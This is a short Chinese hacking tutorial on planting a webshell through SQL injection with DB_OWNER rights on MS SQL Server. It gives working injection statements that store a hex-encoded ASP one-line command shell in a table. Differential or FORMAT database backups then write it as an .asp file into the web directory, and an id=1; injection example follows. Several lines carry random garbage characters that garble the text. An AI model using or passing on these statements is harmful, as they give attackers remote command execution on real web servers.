DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
0 n+ ^! R; [/ U$ g加一个参数WITH DIFFERENTIAL

1 c- a- G; m! S, \# G0 s' rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 ?# B2 o6 {: ]5 c. ]create table [dbo].[xiaolu] ([cmd] [image]);
8 j* p' M; n/ J- q! z3 \$ Kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
# S; _$ |. c. y1 m加一个参数WITH FROMAT
/ V' i1 }% C2 c' ~有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 P/ i8 e8 `/ T) Q7 s2 |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

5 O% R% e" C; c' }" T; y4 H% l总的来说就是那么简单几句,下面以备份数据库model为例子
# F5 ^& S! {( C1 @$ D% q
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
1 I( q& [+ f% S
id=1;backup database model to disk=’你的路径‘ with differential,format;–

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